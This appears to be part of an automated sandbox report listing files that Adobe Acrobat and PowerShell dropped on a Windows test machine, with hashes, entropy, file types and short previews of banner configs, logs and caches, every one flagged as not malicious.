SHA1:	305196BCD763D77C7F7E7BAB927778DDDF806028
SHA-256:	21F2CF5441B2B2B536DE0F863A963E9F130794F7A48FA242EBC7F60865D61609
SHA-512:	23789D2304AEAB6100A6E35B69405D980C15DBD33F3A21973C65AF72A8B7C6057AB9E18EE1E7DD3CCC692C7A2D7828AB0FBC911457AED7945E860D429EC564ED
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1729a447-e4ca-4bff-ab1f-8f99812c221f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737044432,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2474410051076505
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH/A+Yx+FIbRI6XVW7+0YoRDoAvJfYdPeUkwRe9:YvXKXoLUYpW7qGg8Ukee9
MD5:	03399DBCEC226F2349B680F9CC129594
SHA1:	852C6FE3FD65EC12896F40DCA94057F9709970E7
SHA-256:	6129F3EB7EC9A328AD4F53F9A7F5E0EFFF88DBA55E570DE5EB1B4F29236C0B0F
SHA-512:	FD6CAC30C43BA19649F5B519976B5B8D196878FBC6347935AF2E3F546FCBF0F477043E94BBECE9C4181C34B5EF826529846405D93B30961A9C8A069F46B34FF3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1729a447-e4ca-4bff-ab1f-8f99812c221f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737044432,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.232566043513406
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH/A+Yx+FIbRI6XVW7+0YoRDoAvJf+dPeUkwRe9:YvXKXoLUYpW7qG28Ukee9
MD5:	3020C738898F9EC07CE3AE2A17B771D0
SHA1:	E8592E4838E401959BD4C0E843A3E694C5D095F8
SHA-256:	4C5C0D46FE87A528237CF3B6B3BDA0D3A2A73C7386E4FF79A7DD7D9438DE39FE
SHA-512:	659B4B8E634ABE7693F9E931700AF288DDBF883ECE9A81FA6E980D98BC0F866C1455F00804436B927AC3151FF72FE3534C7B468ED70FF24C4343BBB137A10CFF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1729a447-e4ca-4bff-ab1f-8f99812c221f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737044432,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2313493329869605
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH/A+Yx+FIbRI6XVW7+0YoRDoAvJfbPtdPeUkwRe9:YvXKXoLUYpW7qGDV8Ukee9
MD5:	25E9A9B72D4FD7CC0A77835932EF8947
SHA1:	5323E8A0FA0CF060866DB40EA7B16ECD9CF88683
SHA-256:	340A8CBBE2574EA7147286E18F3BB38868D78F8641C6736A4399C0C7ACEF0A1C
SHA-512:	B87EB3A7850D2E3B74AC8F7BE2A1B60B620D37C13BF79180510701D93EA166469558336E4F3CA2E2707205A0C3A0C85C9091C0EC1545642DA27BA5090A4AD787
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1729a447-e4ca-4bff-ab1f-8f99812c221f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737044432,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.232590922879036
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH/A+Yx+FIbRI6XVW7+0YoRDoAvJf21rPeUkwRe9:YvXKXoLUYpW7qG+16Ukee9
MD5:	0D21AE6FA4614EA6DA0DFE15153D5A59
SHA1:	FA563F16C610F6AF9615722BAC4E11CAF7551F60
SHA-256:	248219F3D0977AF01674EB575FE950D871F9DB51ED08FFE1168E71A12FCFEF93
SHA-512:	9E2A4F562CD6E93632D0CC4B35EB83BA775CFD85C055BB6A88618D873DAF7FA74482C829841EE0BBD579E31DBCC66E7DA394B48D6DDE120A988BB170FECF92EF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1729a447-e4ca-4bff-ab1f-8f99812c221f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737044432,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.659984268430661
Encrypted:	false
SSDEEP:	24:Yv6XKFifamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSRw:Yvq3BgkDMUJUAh8cvMi
MD5:	F9D000A651535B4B78907522A704B5C7
SHA1:	4E792087D75EAFF4726A4D96D4F3BA38B249010D
SHA-256:	95243A3DF3415695877B662604F1787059EA1777FE31B7395B28F18F07601A45
SHA-512:	C10A60CFEF2A0A399B6BE13288BA28A7785FA074CF279C29152C8B1382BB2B404290005EF35237BBFA233493DE8AADB2C9FE9D1D6064F95A738ACEBAA992D377
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1729a447-e4ca-4bff-ab1f-8f99812c221f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737044432,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.208718609776586
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH/A+Yx+FIbRI6XVW7+0YoRDoAvJfshHHrPeUkwRe9:YvXKXoLUYpW7qGUUUkee9
MD5:	0E830F751BF202DC466C4F90AF5C24A1
SHA1:	BC134E345C147FAFD05C19D37AC3C83664A77D39
SHA-256:	8153B1B9A248198E6891C295878282C144CA1949EEA8C6C05CDB8D254EA5F9D9
SHA-512:	2951A20EA4B131A31C179E278821E555B8989DE1D165A3212BB23BBBD3EB1C9EF5C9FF3EC33931D026200FD7A9AFE09F9DE85CFC5CE5708D2A6A0A3BD4D216F6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1729a447-e4ca-4bff-ab1f-8f99812c221f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737044432,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.217117686074422
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH/A+Yx+FIbRI6XVW7+0YoRDoAvJTqgFCrPeUkwRe9:YvXKXoLUYpW7qGTq16Ukee9
MD5:	D850459F7BB6E6CB1D26D7A78AB2037C
SHA1:	3C79BC01AACDBDA57EA35668628F33A103E16097
SHA-256:	B63732B663F1242C76018E732196392030490DD8668A0B1B7861761C6D3C72FB
SHA-512:	A36F7D0C642D9D548E5C0852A1E52B84482BB145A1232DE3F047F257EF3945F3BE4723A9180AD324F87A8EA71B088F1030184003BF8A6D2D7A86C7FAFB261D5C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1729a447-e4ca-4bff-ab1f-8f99812c221f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737044432,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.13621239822844
Encrypted:	false
SSDEEP:	24:YHWiEfqGadayUqTDT7V6b89j3g1fglfIozj+ej0SSDtkLe2p2LSSNCuR7PEcnN1N:YHB/lj3Zp+Aobk6fR7ccNY2x5Sn9Lm
MD5:	AD38871E626E9A652176698F4DAA4144
SHA1:	6CA9145A19EF3EE505D86E9C5CC2384879D98D06
SHA-256:	68B7FC8945290D4279D90DF5FF3617C854344996E35A3DAA93FC694386E168C1
SHA-512:	BB819ED4DFE7AF94874EFBDC0E745F8C881E5A3597D2174E2C785142D20C9FECAFD7224C58153727A9795FD5A49FB475C12AFE3BF3FE63190CAE34751839ECFC
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"187f2a4fe592c17271f418cdf5d1432b","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736561469000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"a9b7e1ee49ca502cc117c4e9c2fe978a","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736561469000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"da99162ac4e84c62ccb603bbbd5c28d3","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736561468000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"3f6b03348aa613561add093b4d9af38d","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736561468000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"c6e511240ed673abd36bcdbbaeba2e4f","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736561468000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"8d03e3d9f6bee16dc5c6dbaae6c0789b","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9833029640327349
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpQn4zJwtNBwtNbRZ6bRZ4LnF:TVl2GL7ms6ggOVpQ4zutYtp6PiF
MD5:	716B670D0534A3EE8D052CD59D498469
SHA1:	48516055E6F1022126ABF3EF3ABE3E12EDF26C26
SHA-256:	193274D8196E1E84F1D423D795F85953DE8356BDD40FF363EE27BF905B3C9A32
SHA-512:	66BFBE58ABC313AF3005A9AFC9CFCBDDB7671D3FCD4C75084F11F9CFFFC7C8F0EEB0AB47389AAC96E7FF5292FFFB829DC06FA39E1B4A92DDADD0E407227C3328
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3388460299522595
Encrypted:	false
SSDEEP:	48:7MThGgOVpQPzutYtp6PMXWqll2GL7msEn:7UOVpdaBWqVmsE
MD5:	05D701BFC17C631758722579DD64D62D
SHA1:	5047558D15B95157F4504B12A60048EFF0882E52
SHA-256:	4F9B56E54BE6C8C5EB8FCDFF4658DA16DE81A5D545479011B427AB8B6C7FF203
SHA-512:	7B5061019F2A37652F751F1F1B41A5C8B6B9FF19B71AEFFB502B0407433C6C5E6F62F35A45B6E0389E4061C9E0ABAEEFCE1EC207EFF5C3744E0FA6654163085A
Malicious:	false
Preview:	.... .c......~........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgZuYldMO2vlprB8YI+UVkOGaFYyu:6a6TZ44ADEZxl+B8F+UVrFK
MD5:	C1FFECDB565B49C23AA5AF4AD64CBD8E
SHA1:	F915F5CEBE5F1788D7606CAA8504489696DF793D
SHA-256:	E8F21672006149DB2B8A0DA5A7DA07CE8F47471A302A09D764D358A7762A847D
SHA-512:	B22F4194BBB3A1534CAFDF46E8AAE09E03F000D9287747570758329772F8980DACF6D2A83957BE4AD566B68904D915A0486BE215709261FBF1CD6490B11D6746
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSI5a923.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.486646639490294
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClsP:Qw946cPbiOxDlbYnuRK+bB
MD5:	70BC2394E1D7FB22182362B39335E86A
SHA1:	EB77F0D13038832E0479EABA56A86B30991EDA5A
SHA-256:	4201E1490A24BF2A458BF077372A81378DDDBA24108C1A60A6683A8625279077
SHA-512:	F715164C02DBFF3A0AC6CD3E83B00C5E9ACF21972CE2411EE4B8EDDFA7568972C739448E87E1F6332047C9AA28C2D10013C60729F6AE9F66DEB41FDDAC42F8F4
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.1.1.:.0.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qaauesrq.3hp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yub2c412.jem.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-11-02-653.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.318365307505555
Encrypted:	false
SSDEEP:	384:EpdMFZQW0cercmC+nwPEd6EBaxuuPUDUPUWUaUpUkUGUAUUUWUAUBbVlI82k1FGt:HaNI8Rtijh3zR39lBu2v5bNg/EBW
MD5:	74C6B91894A5D6D2B2CB3852878A7EAD
SHA1:	5EA14BA63C923E8D63E2E5D9D503C024E21E980B
SHA-256:	D8B817090690D9801F0ACAF240EC196FF132ACF07BD01500FAC41158FD0C39BF
SHA-512:	649D3DC2C33E89579E4320EC388FFE49AEE8872D031DDDE116DB49B285AFCFF0400C7835C9A8E8357881B4F0C524C670011FD02FDAAC09DC5EC2257C0A38D0FF
Malicious:	false
Preview:	SessionID=a307715c-d755-45db-be72-f4b404e1bc12.1736561462664 Timestamp=2025-01-10T21:11:02:664-0500 ThreadID=7808 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=a307715c-d755-45db-be72-f4b404e1bc12.1736561462664 Timestamp=2025-01-10T21:11:02:676-0500 ThreadID=7808 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=a307715c-d755-45db-be72-f4b404e1bc12.1736561462664 Timestamp=2025-01-10T21:11:02:676-0500 ThreadID=7808 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=a307715c-d755-45db-be72-f4b404e1bc12.1736561462664 Timestamp=2025-01-10T21:11:02:676-0500 ThreadID=7808 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=a307715c-d755-45db-be72-f4b404e1bc12.1736561462664 Timestamp=2025-01-10T21:11:02:676-0500 ThreadID=7808 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.394346245673027
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbp:ul+
MD5:	EC80F1E8F6CFE16ED06924ADC00AFC4D
SHA1:	EEB33745B84A06EBF0CFCAD6C5E90E566C1FAC9A
SHA-256:	7BD9383DA801D772BB55360F9C205D5D83CA82A9587831AED45812D05A909233
SHA-512:	43946727A4B2B5F39C5271B19562206C0B01BEFF5327311EE2B74C1A1ED24EB91B94C0A00EF693DF7A5AB66FBDC709CD145CBA0B03F1D4905EDC508C979BA137
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\24e606de-d0f3-4b38-9fa7-995d1fd0c8db.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xTwYIGNPzWL07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JTwZG5WLxYGZn3mlind9i4ufFXpAXkru
MD5:	E88AC53FE29BDF9402BCF11696989153
SHA1:	EC950FE1C9ABBFB3713A082FC43B451A7F1A708F
SHA-256:	EB1E6D431D432B488F5B17DD7806ED04260E4A37264F282367F02C466A98327C
SHA-512:	A08590B0F5C1F281046A9E9D03A481758991E8C9CA2A96B8F59644C182F9D6EC81E9834FEF46FB3B27074EE8605C5AED79AB30957AFCB7A2734AD5018CB5C502
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA 